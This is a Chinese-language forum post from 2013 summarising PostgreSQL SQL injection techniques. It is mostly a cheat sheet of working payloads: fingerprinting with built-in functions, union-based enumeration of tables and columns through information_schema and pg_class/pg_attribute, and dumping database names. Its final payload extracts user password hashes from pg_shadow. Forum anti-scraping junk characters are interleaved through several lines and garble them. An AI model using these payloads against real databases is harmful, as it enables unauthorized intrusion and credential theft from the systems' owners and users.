找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2077|回复: 0
打印 上一主题 下一主题

postgreSQL注入总结

[复制链接]
抢楼 抢楼 本帖为抢楼帖,欢迎抢楼! 
跳转到指定楼层
楼主
发表于 2013-10-13 12:57:16 | 显示全部楼层 回帖奖励 |阅读模式
结合了MSSQL MySQL Oracle的一些特点: J2 U5 D7 x# U$ h$ b

支持多语句执行,语句可以没有from

postgres用户是超级用户(创始人账户) 只有superuser有copy权限

注释: — , /**/* H; E2 U, O! F# A6 g4 I4 Y
连接符: %20 , + , /**/

内置函数:: c- ~' w) Z( x* V% \
current_database() //当前数据库名
3 |/ I+ A( c8 d8 C0 e" }$ Ssession_user //会话用户
# e; F, c, b+ k8 w9 i+ I8 Tcurrent_user //当前数据库用户
5 w# D4 V5 A+ e* zuser //当前用户
5 y% L1 x5 j( l! tversion() //数据库版本

Union注射:
% I8 R4 S4 S8 X" Yorder by n–
& w8 T$ o$ G" [- m( y) tand 1=2 union select null,null,null–0 t/ A' s* R, x! ?' T' ]
and 1=2 union select ‘beach’,null,null–
. R3 V3 a8 o4 `+ [and 1=2 union select (select version()),null,null–

获取表名,字段名(新版本利用information_schema):
3 \% `1 h3 V' Lgroup_concat(table_name)+ x' x; W& w) d. H! C2 P0 d
and 1=2 union select table_name,null,null from information_schema.tables limit 1 offset n–+ a5 e( S/ L, @8 H% x5 B/ h9 \
and 1=2 union select column_name,null,null from information_schema.columns where table_name=’admin’ limit 1 offset n–
2 @) f" z" h. f6 V* \6 ^(老版本)
3 j- L0 u2 Z) O& @, [- Hpg_class.oid对应pg_attribute.attrelid2 m/ M1 P( N3 `; A
pg_class.relname表名
+ d/ i8 W& Z  Q% Fpg_attribute.attname字段名

select relname from pg_class获取表名8 T4 y0 J& R" D5 V; Z
select oid from pg_class where 条件 获取参数* U8 ~& m) o- S) K/ c1 @" u* d4 k
select attname from pg_attribute where attrelid=’oid的值’ 获取字段名

实战:
6 m7 M5 |, i- w" k* E& aand 1=2 union select relname,null,null from pg_class where relkind=’r’ limit 1 offset 0–加入relkind=’r'只查询普通表3 \/ q/ B% i, X, j6 \  Z
and 1=2 union select cast(oid as varchar(10)),null,null from pg_class where relkind=’r’ limit 1 offset 0–
2 P2 p2 [! \- I4 g" J8 y. l由于oid类型是oid,要数据类型兼容我们用cast函数强制转换成varchar类型。比如得到1136

and 1=2 union select attname,null,null from pg_attribute where attrelid=1136 limit 1 offset 0–爆表名
# ]4 P  v! H" Q  {+ P" s======================================================================
3 Y5 _: [2 X% A" g* h4 v9 u; aand 1=2 union select datname,null,null from pg_database limit 1 offset 0–爆库
# E8 x+ @/ U: H% ]9 b/ {and 1=2 union select username||chr(124)||passwd,null,null from pg_shadow limit 1 offset 0–爆数据库用户密码

回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表